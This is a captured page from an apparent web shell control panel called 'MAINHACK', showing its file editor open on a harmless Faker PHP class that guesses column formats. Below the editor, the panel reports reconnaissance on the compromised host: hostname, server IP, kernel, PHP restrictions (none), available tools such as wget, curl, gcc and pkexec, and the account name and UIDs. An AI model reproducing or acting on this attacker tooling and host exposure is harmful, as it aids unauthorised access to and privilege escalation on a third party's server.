[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ColumnTypeGuesser.php
<?php namespace Faker\ORM\Propel2; use Propel\Generator\Model\PropelTypes; use Propel\Runtime\Map\ColumnMap; class ColumnTypeGuesser { protected $generator; public function __construct(\Faker\Generator $generator) { $this->generator = $generator; } /** * @return \Closure|null */ public function guessFormat(ColumnMap $column) { $generator = $this->generator; if ($column->isTemporal()) { if ($column->getType() == PropelTypes::BU_DATE || $column->getType() == PropelTypes::BU_TIMESTAMP) { return static function () use ($generator) { return $generator->dateTime; }; } return static function () use ($generator) { return $generator->dateTimeAD; }; } $type = $column->getType(); switch ($type) { case PropelTypes::BOOLEAN: case PropelTypes::BOOLEAN_EMU: return static function () use ($generator) { return $generator->boolean; }; case PropelTypes::NUMERIC: case PropelTypes::DECIMAL: $size = $column->getSize(); return static function () use ($generator, $size) { return $generator->randomNumber($size + 2) / 100; }; case PropelTypes::TINYINT: return static function () use ($generator) { return $generator->numberBetween(0, 127); }; case PropelTypes::SMALLINT: return static function () use ($generator) { return $generator->numberBetween(0, 32767); }; case PropelTypes::INTEGER: return static function () use ($generator) { return $generator->numberBetween(0, 2147483647); }; case PropelTypes::BIGINT: return static function () use ($generator) { return $generator->numberBetween(0, PHP_INT_MAX); }; case PropelTypes::FLOAT: case PropelTypes::DOUBLE: case PropelTypes::REAL: return static function () use ($generator) { return $generator->randomFloat(); }; case PropelTypes::CHAR: case PropelTypes::VARCHAR: case PropelTypes::BINARY: case PropelTypes::VARBINARY: $size = $column->getSize(); return static function () use ($generator, $size) { return $generator->text($size); }; case PropelTypes::LONGVARCHAR: case PropelTypes::LONGVARBINARY: case PropelTypes::CLOB: case PropelTypes::CLOB_EMU: case PropelTypes::BLOB: return static function () use ($generator) { return $generator->text; }; case PropelTypes::ENUM: $valueSet = $column->getValueSet(); return static function () use ($generator, $valueSet) { return $generator->randomElement($valueSet); }; case PropelTypes::OBJECT: case PropelTypes::PHP_ARRAY: default: // no smart way to guess what the user expects here return null; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002